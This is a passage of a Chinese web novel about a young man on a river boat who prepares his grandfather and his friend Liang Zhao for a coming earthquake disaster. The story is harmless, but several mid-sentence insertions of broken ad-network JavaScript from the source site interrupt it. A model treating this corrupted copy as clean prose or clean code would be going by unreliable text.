紧致流畅的腹肌覆着一层薄汗,于眼前一闪而过,顾孟然瞳孔微缩,有一瞬间的失神,连梁昭说的话都没听清。 江风掀起一股热浪,顾孟然自知失态,垂眸错开视线,从货架上拿了瓶水递给梁昭,“歇会儿,看你累得满头大汗,让你上船当船员,不是来当苦力的。” 梁昭单手接住矿泉水,拧开瓶盖浅抿了一口,反问道:“没怎么跑过船吧?普通船员基本等于苦力,什么杂活都干。” 矿泉水往冰柜上一放,梁昭转身又走向仓库。 “梁昭。”顾孟然叫住他,神情无比认真:“风翼号不一样,在这里,你不是苦力。悠着点来,活儿慢慢干,我们又不是真的开— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' —” 过不了几天,超市里的货物还要全部收起来,顾孟然不想梁昭花费力气做无用功,头脑一热,甚至想着把真相全盘托出。 但他很快冷静下来,现在还不是时候,能上船就能下船,他不能在关键时刻把梁昭给吓跑了。 于是,脱口而出的话拐了个弯,顾孟然半开玩笑道:“不要把自己当外人,更不要把自己当苦力,你还是我的大债主呢,要把风翼号当成自己的家。” “你说得对。”梁昭头也没回,低声笑道:“那自己家干活是不是应该更加卖力?” 把公司当成家,把学校当成家,把船…… 读懂这话的另一层意思,顾孟然急忙追上去:“我不是这个意思啊梁昭,等等我!” 劝不住就一起搬吧,就当锻炼身体了。 顾孟然头发往后一捋,跟着梁昭走进临时仓库。 仓库杂乱无序,米面油粮堆成小山,梁昭停在一摞大米旁,双手握住米袋,上臂发力,发达的肱二头肌高高耸起,而后轻轻松松将一袋百斤重大米扛在肩上。 梁昭轻松自若的模样给了顾孟然一种他也能行的错觉,他有样学样,浑然忘了自己压根不怎么锻炼,浑然忘了一袋大米重达百斤。 当米袋悬空,顾孟然使出吃奶的力气也托不住时,他终于意识到问题的严重性,可为时已晚,数十袋大米摞在一起足足半人高,托不住,他也放不回去。 “梁,梁昭。” 米袋死沉,压得顾孟然双臂颤抖不止,面红耳赤,他下意识寻找外援,扭头一看,一心只顾工作的梁昭早已消失在走廊尽头。 这下完犊子了!顾孟然深吸一口气,双臂用力抱着米袋,膝盖弯曲,试图抵着其他袋子将米袋一点点放下来。 一百斤啊一百斤,单用双手托着,没有任何着力点,抱个五十斤都够呛的顾孟然,实在是挪不动一点。 米袋离地还有一米,顾孟然因用力而发白的手指忽然泄力。米袋倏地滑了下去,担心被撞倒,压到胸口、膝盖,求生欲使他用力往前推了一把。 也就是这一把,米袋擦过顾孟然的膝盖重重落地。 而下一瞬,一声凄厉的哀嚎打破仓库原有的宁静。 没有被撞倒,没有被压到胸口膝盖,可特喵的米袋压到脚了啊啊啊!!! 学着外公的优良习惯,顾孟然穿的拖鞋。 重达百斤的米袋垂直下落,重重砸在右脚脚趾,钻心的疼痛猛然袭来,顾孟然双腿一软,身体不受控制地后仰,一屁股瘫坐在地。 其实疼痛尚在承受范围内,但右脚,受伤的又是右脚,顾孟然只觉得眼前一黑,恍惚间又回到被螺旋桨搅烂右腿的那一天。 冷汗滑过鬓角,顾孟然胸口剧烈起伏,仿佛有一只无形的手扼住了咽喉,出气多进气少,呼吸变得尤为困难。 强烈的窒息感将他紧紧包裹,顾孟然眼皮子越来越沉,就在他几乎快要失去意识时,像往常一样,一只温热而干燥的手轻轻托住他的肩膀。 “顾孟然,你怎么了?哪里受伤了?” 冷冽的嗓音渐渐与上辈子重叠—— “别怕孟然,有我在。” “别管我了梁昭,我已经是个废人了,总不能让你照顾一辈子。” “我、我是愿意的。” 8. 第 8 章 * “——嘶,疼!外公你轻点。” 红花油的气味弥漫在卧室中久久不散,顾孟然靠坐在床头,不见血色的小脸拧成一团,嘴角不受控制地抽动。 他的右脚被孟高阳死死攥在手中,老爷子粗粝的掌心裹满红花油,反复揉搓顾孟然略微红肿的脚趾头。 酸爽的痛感刺激着大脑,顾孟然总忍不住把脚往回缩。每缩一次小腿都会挨上一巴掌,四五次之后,顾孟然咬着被角一动也不敢动,时不时埋怨几句。 老爷子坐在床尾给顾孟然揉脚,脸色难看得很,他不时抬头看上顾孟然一眼,欲言又止,眼神尤为复杂。 身心双重折磨,顾孟然终于忍不住了,他先是朝外公嘿嘿一笑,抿了抿嘴唇,试探着问道:“外公,我那会儿晕过去了是吧?晕了多久啊?” “晕没晕你自己不知道?”老爷子狠狠瞪了他一眼。 顾孟然理直气壮:“我都没意识了,我怎么知道?” 孟高阳不说话了,卧室又陷入诡异的沉默。 两眼一闭,顾孟然当场晕倒在超市仓库,他最后的记忆是梁昭找到他,然后就没然后了。比起晕了多久,其实他更关心他是怎么回来的。 和外公没必要藏着掖着,顾孟然想问就问了。 但一听这话,老爷子脸色愈发难看,揉脚的力道越来越重,“怎么回来的?梁小子给你扛回来的!我当时真该拿手机给你录下来,瞧瞧你那样。” “我咋了?”顾孟然嗅到了不妙的气息,背都挺直了。 孟高阳阴阳怪气,学着他当时的语气:“‘梁昭,梁昭我的腿好疼,不要走,梁昭。’人家小梁好心把你抱回来,你搂着人家不撒手,还哭唧唧地念叨小梁的名字。” 顾孟然:………… 完了,一觉醒来天塌了! 没等顾孟然消化完,老爷子忽然抬头看向他,不再调侃,不再斥责,颇为凝重道:“顾孟然你老实交代,你和梁昭……算了,你是不是得了什么病?” 一句接一句,没有任何缓冲,顾孟然理所当然地把两句话联系在一起。 他本就苍白的脸色瞬间惨白如纸,慌慌张张地错开视线,小声反驳:“外公你别那么封建,人专家说了,喜欢同性是天生的,不是病。” “啥?”宛如闷雷炸响,孟高阳噌地从床上站起来。 他一瞬不瞬地盯着顾孟然,眉头紧锁,眼底皆是茫然与震惊。 顾孟然懵了,嘴唇微颤:“不是问我这个吗?” 孟高阳:“一袋米砸在脚趾头上居然把你人砸晕了,我问你是不是得了什么疾病。顾孟然,你在说什么?你喜欢谁?” 完了完了,这下真完了! 他就这么……突然和外公出柜了? 顾孟然不愿面对现实,两眼一闭,重重一巴掌拍在额头上,“等会儿等会儿,外公我头有点晕,先睡——” “起来给我说清楚。”孟高阳抓着他的手臂,一把将他从被窝里薅起来。 逃不掉了!顾孟然绝望地睁开双眼,已经做好了面对狂风骤雨的准备,不料下一瞬,闯入视线的外公嘿嘿一笑,一脸八卦道:“你喜欢谁?梁昭?” 顾孟然愣住,“外公,你、你不生气?” “我生什么气?你这个情窦初开的年纪,有喜欢的人不是很正常吗?” “可,可……我喜欢男生也可以?” 孟高阳眉头一皱,“为什么不可以?男的女的不都是人。你是没见过那些奇葩外国人,跟电饭煲、手机结婚!还有些年轻人,找个七老八十的,那可不行啊。” 顾孟然瞳孔震惊,这就接受了? 跟做梦似的,他从未想过,外公居然是这么开明的家长。 震惊之余还有感动,他低垂着脑袋,眼眶微微泛红。 老爷子没给他酝酿眼泪的机会,轻轻推他的肩膀,“问你话呢,是不是喜欢小梁?小梁知道吗?什么时候在一起?” 顾孟然摇摇头,不说话。 孟高阳也不气馁,顶着张八卦脸,自顾自地分析道:“指定是了,千方百计把人骗上船,除了想救他,你还想泡他。” “咳咳咳……” 顾孟然差点被口水呛死,咳了好一阵儿才缓过劲。 感动是一点儿也不剩,顾孟然拍拍胸口,胳膊肘轻轻撞了下老爷子,“没有的事儿!差不多行了,一把年纪还这么八卦。” “不说算了。”老爷子略显失望地叹了口气,重新坐回床尾,“那说说你吧,到底是怎么回事?除了脚趾头没有其他地方受伤,怎么就晕过去了呢?” 这就更不能说实话了,顾孟然不动声色地滑进被窝里,扯起被子挡住大半张脸,闷声道:“吓的,还有点儿低血糖,一下子就晕了。” “真的?”老爷子半信半疑。 “当然了,我要是真的生病也不能瞒着外公你呀!现在我是咱们这个家的顶梁柱,大部分物资都在我这呢,我可不能出事。” “行吧。没大毛病就行,你这脚丫子估计得养几天,躺着好好休息。”孟高阳拍拍大腿站起身,不紧不慢地朝门口走去。 “外公。”顾孟然叫住他,“梁昭呢?” 孟高阳:“驾驶室替我掌舵,不然你以为我怎么走得开?” “刚上船那些人呢?他们不帮忙吗?” “养老船长,养老大副,帮什么忙,不添乱都是好事儿。” 顾孟然不满地皱起了眉头,“那他们什么时候走?” “三天后,过了韶洲闸就下船。”老爷子说完咂咂嘴,回头叮嘱顾孟然:“别瞎操心,好好养着。我和梁昭忙得过来,到时候水位深一点开自动航行就解放咯。” 外人留在船上,顾孟然始终不太放心。 一听到三天后就走,他闭上眼,安心地睡了。 * 一直躺着也不是个事儿,主要怪无聊的。 外公与梁昭换着值班,忙得不可开交,几名养老船员成天窝在房间里打牌、斗地主,很难见到人影,顾孟然无聊得发霉了。 闲着也是闲着,他给自己找了点事做—— 主动担任掌勺大厨。 脚趾头受伤行走不便,好在顾孟然有先见之明。他默默从空间里掏出一把电动轮椅,每到饭点便呲溜溜地开进厨房,不需要任何人帮忙。 早上稀饭包子,中午烧炒炖,晚上炸鸡烤串。一日三餐变着花样做,船员吃得高兴,顾孟然也乐在其中,消磨时间不说,厨艺也愈发精进。 三天一晃就过了,日 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 暮西沉的傍晚,风翼号顺利抵达韶洲船闸闸口,汇入长长的船舶队伍,排队等候过闸。 顾孟然第一次体验坐船过闸口,觉得新奇,风翼号刚刚排上队他便开着轮椅来到驾驶室,探头探脑地四处张望。 驾驶室的门开着,黄雾顺着江风飘进室内,一整个驾驶室全是硫黄味。 黄雾更浓了,能见度直线下降,短短三天,大雾红色预警的短信都收到不下十条。就算坐在视野最为开阔的驾驶室,视线范围皆是黄蒙蒙一片,目测能见度小于30米。 趴在玻璃上什么也没看清,顾孟然悻悻靠坐回轮椅,唇缝中溢出一声叹息,“这雾浓的,根本看不见前面还有多少船。外公,我们什么时候才能过闸?” “早着呢!”开船的老爷子随手点开电子雷达,凑近一瞅,“排队都要排四五个小时,正式过闸还得三个多小时,估计到后半夜咯。” 孟高阳摆摆手,“玩去吧,晚上过闸叫你起来。” “呲溜——” 轮椅原地掉头,顾孟然垂头丧气地开着轮椅走了。 老爷子的大嗓门追在身后:“晚上整点卤肉!” “好哦。”顾大厨应了一声。 三天一过,顾孟然的脚趾头已经好得差不多了,只要别太用劲,走路不成问题。但顾孟然坚持坐轮椅,因为—— 从驾驶室到厨房,开轮椅只需五分钟,比走路快多了。 不过轮椅下楼就不太方便了,老爷子晚上想吃卤肉,顾孟然只能拿个菜篮子一瘸一拐地走下楼,到一楼超市取肉。 经过三天的消耗,超市的鲜肉所剩不多。 顾孟然将两块上好的猪头肉和一块蹄髈收入菜篮,其他的里脊肉、五花肉便趁着四下无人,一并收入空间。 卤肉麻烦,要卤就一次性多卤点儿,反正吃不完还可以存放空间。 想到这,顾孟然索性拎着菜篮子在超市里逛了起来。鸡蛋、鸡爪、冻鸡腿各来一点,素菜来点儿海带、干豆皮,再拿上卤料和老抽,菜篮子装得满满当当。 该说不说,这一圈逛下来还真有点超市零元购的感觉。 半个小时后,顾大厨回到厨房忙碌起来。 洗菜洗肉,烧水焯水,调制卤水,一个人恨不得掰成两个用。 菜不经煮,肉得多卤一会儿才入味。顾孟然先将焯过水的猪头肉和蹄髈放进锅里,但感觉肉有点少,又从空间拿出十斤牛肉。 猪肉、牛肉一锅;鸡腿、鸡爪、鸡蛋一锅。大功率电磁灶火力开到最大,短短一个小时,缭绕的白雾带出浓郁的肉香,满屋飘香。 温度跟着上来了,厨房专用空调也驱不走热意,热气腾腾的。 厨房彻底待不住人了,肉卤入味儿还需要点时间,顾孟然抹了把汗从厨房里出来,正想去客厅倒点水喝,刚到走廊便碰到迎面而来的梁昭。 自外公转述那令人社死的片段后,顾孟然便有意无意地躲着梁昭,加上梁昭这几天又在驾驶室值夜班,他们几乎没怎么单独相处。 而此时,睡眼惺忪的梁昭迎面走来,顾孟然避无可避,手忙脚乱地滑动厨房推拉门,假装自己正要进去。 “顾孟然。” 来不及了,头顶光线微微一黯,光滑的地板覆上厚重的阴影。 9. 第 9 章 * 人都到面前了,再装看不见就不礼貌了! 顾孟然回过头,干巴巴一笑,“早,早啊梁昭。” 梁昭刚睡醒,整个人懒洋洋的,没什么精神。 他站在顾孟然身后,微垂的眼眸带着浓浓的倦意,鼻尖轻轻一动,“好香,你在卤肉?” “嗯,刚卤上,”顾孟然点点头,抬脚就往厨房里钻,“哎哟瞧我这记性,差点忘了放盐,我先——” “我来吧。你伤还没好,尽量少走动。”梁昭单手撑开厨房推拉门,先他一步走进厨房。 顾孟然:…… 顾孟然眼睁睁看着梁昭给两口锅各放一大勺盐,嗯……希望今晚的卤肉不要太咸。 帮完忙的热心群众依旧没有要离开的意思,他跟着顾孟然来到客厅沙发,不说话也不离开,眉头微蹙,一瞬不瞬地看着顾孟然。 “咋、咋了?”顾孟然被他看得浑身不自在,下意识伸手碰了碰脸颊,“我脸上有东西?” “没有。”梁昭摇头,缓缓敛回目光,“那天——” 那天,又是那天,哪壶不开提哪壶! 不等梁昭说完,顾孟然慌慌张张打断他的话:“那天我晕过去了,失去意识了!最后一个看到的人是你,所以、所以……想让你帮忙才不让你走的,求生欲你懂吧?” 梁昭没料到他这么大反应,微蹙的眉头舒展开,眼底闪过一丝轻微的诧异,而后低低一笑。 “笑什么啊?”顾孟然茫然地眨眨眼。 梁昭眉眼含笑,淡淡道:“听孟爷爷说,你那天是因为低血糖晕倒的,现在好点了吗?” “哦这个,好点了,好多了。”顾孟然心虚道。 原以为只是简单的关心,顾孟然狠狠松了一口气。不料下一秒,梁昭话锋一转,云淡风轻道:“离开学校后,我和老同学都断了联系,但今天早上,我和郑易飞联系上了。” 平静的湖面抛下一枚巨石,水花四溅,荡开层层涟漪。 此那天非彼那天,顾孟然听懂了,梁昭口中的那天——他们重逢的那一天。 梁昭联系上郑易飞说明什么? 说明他知道,他跑船这个消息并非郑易飞告诉自己的。 谎言不攻自破,该怎么解释?顾孟然大脑一片空白。 顾孟然的迟疑与慌乱被梁昭看在眼里,明明是他占据上风,手握主动权,可他眉心一拧,眸中闪过一丝微不可察的悔意。 一整个白天几乎没睡,梁昭想了很多,始终想不明白。 但不论如何,不论什么原因,他不愿惊扰这梦寐以求的片刻宁静。他一个一无所有的人,还有什么值得图谋的? “我只问一个问题。”压下心里翻涌的情绪,梁昭抬眸看着顾孟然。 知道躲不过,顾孟然含含糊糊地“嗯”了一声。 会问什么呢?为什么骗他,为什么带他上船,为什么—— “再次见面之前,你还记得我吗?” 一个完全出乎意料的问题,甚至可以说,无关痛痒的问题。但梁昭直直对上顾孟然的视线,神情严肃,语气认真,仿佛迫切地确认着什么。 顾孟然瞪大双眼,眼底闪过一丝不自然。 短暂地沉默片刻,顾孟然像是想明白了,若无其事地耸了耸肩,嘴角微微扬起,尤为笃定地回应梁昭:“当然记得,不然我干嘛叫你来凤翼号?” 肉眼可见的,梁昭紧绷的身体渐渐放松。 “梁昭。”顾孟然往旁边挪了一个身位,伸手轻轻拍了拍梁昭的肩膀,认真道:“我知道你心里有很多疑问。但我现在没办法和你解释,再给我两天时间好吗?信我一次。” “没有不信你,我只是……” 梁昭垂眸错开视线,轻声呢喃:“好奇。” “好奇什么?”顾孟然歪头看他。 梁昭抿唇轻笑,抬手指向厨房,“你的卤肉。” “糟了!” 晚上的卤肉终究还是咸了点,凌晨顾孟然和梁昭在驾驶室等着过闸,口渴得要命,一个人喝了不下五杯水,然后就是……疯狂跑厕所。 凌晨1点,孟高阳也醒了,打着哈欠走进驾驶室。 “孟爷爷。” 余光瞥见孟高阳进来,梁昭立马从船长椅上起来。不过刚起到一半,孟高阳按着肩膀又将梁昭按回椅子,“坐吧,我就是来看看。” 马上到闸口了,顾孟然正站在驾驶台前,脸贴着玻璃看得津津有味。听到声音才发现外公来了,他倏地回过头,有些诧异道:“外公你怎么来了?睡醒了?” 老爷子绕过驾驶台走向顾孟然,眉头轻轻一挑,一脸坏笑,“过闸嘛,你俩毛头小子我不放心,过来看看,不是故意来打扰你们二人世——” “外公!”顾孟然脸色骤变,三步并作两步,冲上去一把捂住外公的嘴。 老爷子真是口无遮拦,差点就…… 顾孟然下意识看了梁昭一眼,恰好对上梁昭不解的视线,他咧嘴一笑缓解尴尬,赶忙拉着外公退到驾驶台角落。 “外公我求你别乱说,你随口一说,我跟梁昭多尴尬!”顾孟然刻意压低嗓音,用气音埋怨道。 老爷子自知失言,抬手摸了摸后脑勺,装模作样道:“哈哈,今晚的卤肉真咸,口干舌燥的。” “孟爷爷,这里有水。” “哎哟,那正好,渴死我了。” 梁昭一开口,老爷子跟泥鳅似的,一滑就溜到驾驶台去了。顾孟然无可奈何,气鼓鼓地瞪了外公一眼。 凌晨1点半,风翼号排在首位,缓缓朝着闸门靠近。 远远望去,闸门仅是一扇稍微大一点的门,可随着距离不断缩短,巍然耸立的闸门映入眼帘,顾孟然睁大双眼,差点忘了呼吸。 闸门高耸入云,一眼望不到尽头,宛如蛰伏在黄江里的钢铁猛兽,让人不禁折服于这项伟大的工程。 韶洲船闸是三级船闸,一共三道闸门。 前方航道清空,人字闸门缓缓开启,风翼号携其他三艘货船进入第一条引航道。 引航道相当于一个没盖盖儿的长方形盒子,下面是水,前后皆是人字形闸门,左右两侧则是牢不可破的高墙。 船只全部进入引航道,稳稳停在航道内,身后一级闸门缓缓关闭,不用外公特意解释顾孟然也知道,引航道要开始注水了。 从下游到上游,水位有一定的落差,而船闸存在的意义便是为了解决这个问题,有效控制上下游水位落差过大。 经过一个小时的注水,一级船闸的水位线从原本的70米上升到94米,足足24米的高度。 紧接着经过二级、三级,直到引航道水位与上游江面水位齐平,最后一道闸门大敞开,风翼号开始缓慢地出闸。 过闸历时三个小时,顾孟然从头看到尾。 他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一点儿都不觉得累,甚至因见证了雄伟壮观的人造工程而格外兴奋。 不过令人遗憾的是,在不久后的将来,人类这项伟大的工程,以及哺育人类的母亲河,终将消失在历史的长河中。 一觉睡到中午,顾孟然起床时,四名养老船员早已拿钱走人。 人在船上的时候没有存在感,人一走,偌大的风翼号只剩三个人,显得格外安静且空旷。 黄雾影响较大,能见度大幅度下降减缓了船舶航行速度,本应昨天早上经过韶洲船闸推迟到今天凌晨才过,而距离那场改变人类历史进程的灾难——仅剩不到一天的时间。 即将到来的灾难宛如巨石压在胸口,顾孟然心情欠佳,从卧室出来便独自坐在客厅发呆,下午1点了锅还没热。 老爷子人在驾驶室开船,似乎早就饿坏了,声音频频从对讲机里传来,骂骂咧咧将近十分钟,顾孟然这才不情不愿地走向厨房。 厨子没心情的时候,有啥吃啥。 昨天晚上剩的卤猪头肉与卤牛肉各切上一盘,再切上一盘海带、腐竹,素菜也有了。肉菜放蒸锅上加热,煮上一电饭煲米饭,一顿简简单单的午饭——搞定。 饭菜端进驾驶室,老爷子已经饿得骂不动了。 不过人家一看又是昨天晚上的剩菜,嘴巴立马瘪了下去,一脸嫌弃道:“怎么又是卤肉?” 顾孟然心不在焉,随口敷衍:“凑合着吃吧,卤肉不也是外公你闹着要吃的。” 孟高阳:“那也不能顿顿吃吧?吃三顿了都!你前几天的热情呢?前几天换着花样地做,这两天顿顿剩菜。” “哪有顿顿剩菜,就这一天,先凑合凑合。” 顾孟然嘴上在和外公说话,心思早飘到外面去了。他缓慢踱步到驾驶台前,看着江面上越来越浓的黄雾,眉头紧紧拧成一团。 话痨突然不说话了,还心事重重的,老爷子终于意识到不对劲,坐在驾驶台远远看了他一眼,“怎么,跟小梁吵架了?哭丧着脸做什么?” 这话一出,愁眉苦脸的顾孟然瞬间被逗乐了,扭头看向外公,“没完没了是吧,什么都能往梁昭身上扯。” “谁让你天天给我吃剩菜。”老爷子端起碗,夹起一片卤肉送进嘴里,边吃边抱怨。 顾孟然没接话,脸上笑容转瞬即逝,望着江面轻轻叹了口气,“外公还记得明天是什么日子吗?” “明天?啊,世界末日!” “……哪有那么夸张。” 孟高阳埋头扒饭,鼓着腮帮子道:“差不多咯。照你那说法,和世界末日有什么区别?” “那你还吃得这么嗨。”顾孟然轻声调侃。 老爷子闻言吃得愈发起劲儿,“天要下雨娘要嫁人,有些事情注定无法改变。你外公饿肚子又不能堵住火山口,该吃吃该喝喝呗,还能咋地?” “道理是这么个道理。”顾孟然双手抱臂,眼底闪过一丝迷茫,“可是外公,你……不怕吗?” “怕有什么用?”卤肉过于咸了,老爷子喝了口水,咂咂嘴道:“该做的都做了,该准备的也准备了,听天由命吧。再说了,云田、韶洲这一片没有活火山,相对比较安全,我们只需要抗过那一波地震。” 一波地震…… 那一波地震可没那么容易扛过去,江里不安全,陆地更不安全,就算做了充分的准备,顾孟然依旧没有把握带着外公与梁昭平安活下去。 10. 第 10 章 * “呜呜——” “安昌境内船只,安昌境内所有船只,请立即听从调度前往安昌锚地临停!重复,大雾预警,能见度低于十米,安昌境内所有船只,请立即听从调度前往安昌锚地临停!” 入夜,笼罩在黄江上空的黄雾被夜色染成了黑色,宛如一团化不开的稠墨泼在挡风玻璃前,遮挡住全部视线。 雾太浓了,多地频发船舶碰撞事故,傍晚时分,海事部门介入,采取停航、引导流域内船舶就近靠港等措施。 风翼号半个船头探入安昌境内,执法船嗡鸣,警报声拉响,执法人员的声音通过船用高频(VHF),无比清晰地传达至风翼号驾驶室内。 驾驶台前,老爷子正襟危坐,神情格外严肃。 顾孟然站在外公身旁,双手撑着驾驶台,嘴唇紧紧抿成一条直线。 高频响起时,孟高阳与顾孟然默契对视一眼,而后操控船舵打转方向,跟随指引灯航行,前往安昌港锚地。 黄雾导致船舶临时靠港不在顾孟然的意料中,但风翼号于靠港安昌,本就是顾孟然计划中的一环。 地震将至,看似安全的江面,实则危机四伏。 一旦大地开始震颤,随之而来的往往还有山体滑坡、泥石流等自然灾害,甚至水库大坝溃堤,引发洪水。 而地层发生断裂时,部分地层会出现猛烈上升或下沉,届时黄江便是一个巨大的大摆锤,江面上的“游客”将随黄江一起左右摇摆,上下起落,还没系安全带那种。 史无前例的特大地震,海中货轮亦能顷刻覆灭,更别说一艘小小的江船。 此去安昌港,一来为了给风翼号系上安全带,二来,安昌港属韶洲管辖,一个非常非常小的临时港口,地势平坦,不靠山,不挨水库堤坝,来往船只甚少,实为理想避难所。 一个小时后,风翼号顺利抵达安昌港锚地。 与顾孟然在网上查的资料一样,锚地船只并不多,前后皆有大港口,就算临时停泊,老船长们也会选择配套设施更完善的大港口。 水多船少,风翼号进入锚地后,特意与其他零零散散的船只保持距离,像个不合群的小朋友,独自停在边边角角。 “哐哐哐——” 铰链机运行中,船锚带着胳膊粗的锚链快速入水,顾孟然戴着口罩站在露天甲板上,看着漆黑一片的江面,紧绷的神经渐渐放松。 这个位置很不错,水位不深不浅,离岸不近不远,四周没有其他船只,不用担心地震来临时发生不必要的碰撞。 船锚触底,铰链机停止工作,顾孟然刚准备返回驾驶室,余光不经意一瞥,右前方乌漆墨黑的夜雾中,忽然亮起了红色船舶信号灯。 灯光由远至近,一艘比风翼号小上一圈的满载散货船缓缓逼近。 来船毫无边界感,从右前方开始停泊,明明旁边还有那么宽的水域,船长愣是保持良好的停泊习惯,紧挨着风翼号停泊。 顾孟然:…… 小货船满载,甲板高度几乎与江面齐平,顾孟然站在风翼号甲板上,小货船甲板、货舱一览无余。 只见货船尚未停稳,船尾甲板快步走出一个高高瘦瘦的人影。对方显然也是出来协助抛锚的,顾孟然见状小跑到护舷旁,掀开口罩冲着那人大喊道:“哈喽哈喽,帅哥!” 站在风翼号可以清楚地看到小货船,但从小货船的角度看向风翼号,相当于从地面看三四层楼,还有重重雾气阻隔。 那人听到动静先是一愣,随后伸长脖子四处张望。找寻未果,那人重重一巴掌拍在额头上,直到顾孟然再次出声提醒,他才恍然抬起头。 那人年纪与顾孟然相仿,是个长相俊秀,看起来人畜无害的三好青年。 四目相对,那人飞快地与顾孟然招招手,双手捧作喇叭状,热情地回应:“原来在上面啊。你好风翼号!你们的船好酷!” 顾孟然欣然一笑,“谢谢,你们的……恒荣盛也很帅。” “哈哈是吧!我也觉得。话说你们从哪到哪?” 顾孟然随口一答一问:“云田到宜南,你们呢?” 那人:“哇,巧了!我们刚从韶洲出发,也是去宜南诶!” 长期跑船很寂寞,真正意义上的寂寞。长期待在船上,来来回回就那么些人,几个月不社交都常有的事儿,因此,船员大多都是社牛,锚地临时停泊都能与邻船聊上一宿。 不过这时候,对方的友善热情把整得顾孟然怪尴尬的。 正事要紧啊!顾孟然敛起笑意,双臂撑在护舷上,好声好气与青年说道:“帅哥和你商量个事成吗?你能不能跟你们船长说一下,咱们两艘船之间稍微保持一点距离。” 青年眼中闪过一丝疑惑,“啊?这不是正常停泊吗?” “是这样的帅哥。”顾孟然压低嗓音,摆出一副分享小道消息的架势,神秘兮兮道:“我亲戚在地质局工作,他说韶洲片区最近地质活动比较活跃,很有可能会发生一场地震!” “地震?”青年猛地一激灵,“真的假的?没看到新闻啊。” 顾孟然抿唇轻笑:“小道消息,不保真,但……宁可信其有,不可信其无不是么?不管大震小震,我们两艘船挨得这么近,万一真有点儿小摇小晃也挺麻烦的是吧?” 真假参半,这话留给人无限遐想空间。 江风裹着黄雾迎面吹来,尚未抛锚的小货船随之摇晃。有那么一瞬间,甲板上的青年甚至已经脑补到地震来临的那一刻。 确实,不论大震还是小震,真摇起来—— 停在这样庞然大物旁边,先遭殃的肯定是他们! 没空与顾孟然闲聊了,只见青年快速掏出对讲机,嘴唇一张一合,嘀嘀咕咕地说着什么。 十分钟后,小货船重新启航,缓缓朝旁边挪动。 “谢了啊哥们!”顾孟然万分感激,先行与青年道谢。 恒荣盛开动,青年收起对讲机,高声回应顾孟然:“别别别,要谢也是我谢你!你说得对,宁可信其有不可信其无,反正我们家船还没抛锚,挪一挪不妨事。” 顾孟然欣慰地笑了。 所幸遇上一个明事理的人,帮他们省了不少麻烦。 恒荣盛渐行渐远,顾孟然与甲板上那人挥手告别,视线扫过对方满载的货舱,他的手僵在半空中,眉心轻轻一拧。 翻涌的江面中,一片轻飘飘的枯叶亦有可能随波逐流,但枯叶如果背着一颗沉甸甸的石子,成功抵达岸边的概率几乎为0。 船舶可不是树叶,甩掉石子还能继续随波漂流,船一旦翻了,那便只有一个下场——沉没。 顾孟然不是一个纠结的人,赶在小货船融入黄雾之前,他双手捧脸大喊道:“哥们! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 如果地震真的来了,保命要紧,该舍弃的一定要及时舍弃!” 对方似乎不知道顾孟然指的是什么,但也笑着应了一声,“好的!再见风翼号,回头高频联系。” 小货船彻底消失在漆黑的夜雾中,顾孟然伸展双臂活动了一下筋骨,拉起口罩往驾驶室走。然而他刚走出两步,另一道不属于自己的脚步声忽然从前方响起。 “熟人?” 冷冽沙哑的嗓音划破寂静,来人正是刚睡醒的梁昭。 他信步从黑暗中走出,嘴上在和顾孟然说话,目光却停留在小货船消失的江面上。 顾孟然一时没反应过来他在问什么,待梁昭走近,循着他的视线看了一眼后才笑道:“哟,偷听墙根啊?哪是什么熟人,就一路人。” 梁昭“嗯”了一声,戴上口罩远眺江面,不再说话。 …… 这人总是有办法让场面瞬间冷下来。 顾孟然无奈耸了耸肩,刚准备另找个话题,又听梁昭低声问道:“你刚刚说,韶洲最近可能会有一场地震?” 口罩挡住梁昭大半张脸,看不清神情,就算是提起地震,他低垂的眼眸也没有任何情绪波动,无波无澜。 顾孟然没有第一时间回答他,双手重新搭上护舷,和梁昭并肩站着,沉默了将近五分钟才挤出一个模棱两可的回答:“不是可能,是一定,而且不止韶洲。” 梁昭没听懂,“什么意思?” “走了,先回去!”顾孟然推着梁昭往回走,“雾太大了,口罩戴久了呼吸不畅,我们进去慢慢说。” “夜班,马上到我接班。” “抛锚了不用值班,天塌了还有外公顶着,我们先说事儿。你不来甲板我也要找你的,有很重要的事情要告诉你。” 连推带拉地将梁昭弄回客厅,顾孟然摘下口罩坐在沙发上,重重喘了口粗气。他口干要命,却没有第一时间去倒水喝,咬着嘴唇拍了拍身侧沙发,示意梁昭坐下说。 梁昭没有动,伸手将口罩拽到下巴。 一个简简单单的动作,顾孟然的注意力很轻松被吸引走了。 高挺的鼻梁暴露在灯光下,与流畅的下颌线相呼应,衬得那双眸子愈发深邃,莫名有种看变视频的既视感,口罩一摘,气场全开,普通一男的顿时变高冷酷哥。 没有捷径,就硬帅。 果然,戴口罩的帅哥不一定是帅哥,倒是真正的帅哥会被口罩封印颜值。 顾孟然沉浸式欣赏梁昭的超高颜值,等他回过神时,手里已经多出一杯温开水。 长了张生人勿近的脸,心思却出奇的细腻。 可惜……顾孟然自嘲般笑了笑。 梁昭是个很有责任心的人,到了夜班时间迟迟没能去接班,他一心惦记着驾驶室。但他没有催,放轻手脚坐在顾孟然身旁,耐心等待对方开口。 顾孟然也没再卖关子,抿了口热水润润嘴唇,直接开始打预防针:“梁昭,接下来我要说的话可能很……很匪夷所思,很超出认知。但事先声明,我没有疯,也没有喝酒,更没有家族遗传性精神病病史,请你一定一定要相信我。” 很郑重的口吻,梁昭却被顾孟然逗笑了。 他轻点下头,凛冽的寒眸闪过一丝罕见的柔和,“嗯,信你。” 顾孟然深吸一口气,“一个月前,我做了一个梦……” 11. 第 11 章 * 话音消散,窗外江风呼啸,客厅安静地落针可闻。 还是讲给外公那套说辞,顾孟然添油加醋,略掉已逝的老妈和外婆,以做了一个梦的方式,把即将发生的灾难原原本本地告诉梁昭。 如今十分钟过去了,梁昭依旧一脸平静地坐在顾孟然身旁。仿佛谈论的不是世界末日,而是中午吃什么,他低眉敛目看不出情绪,自始至终一言不发。 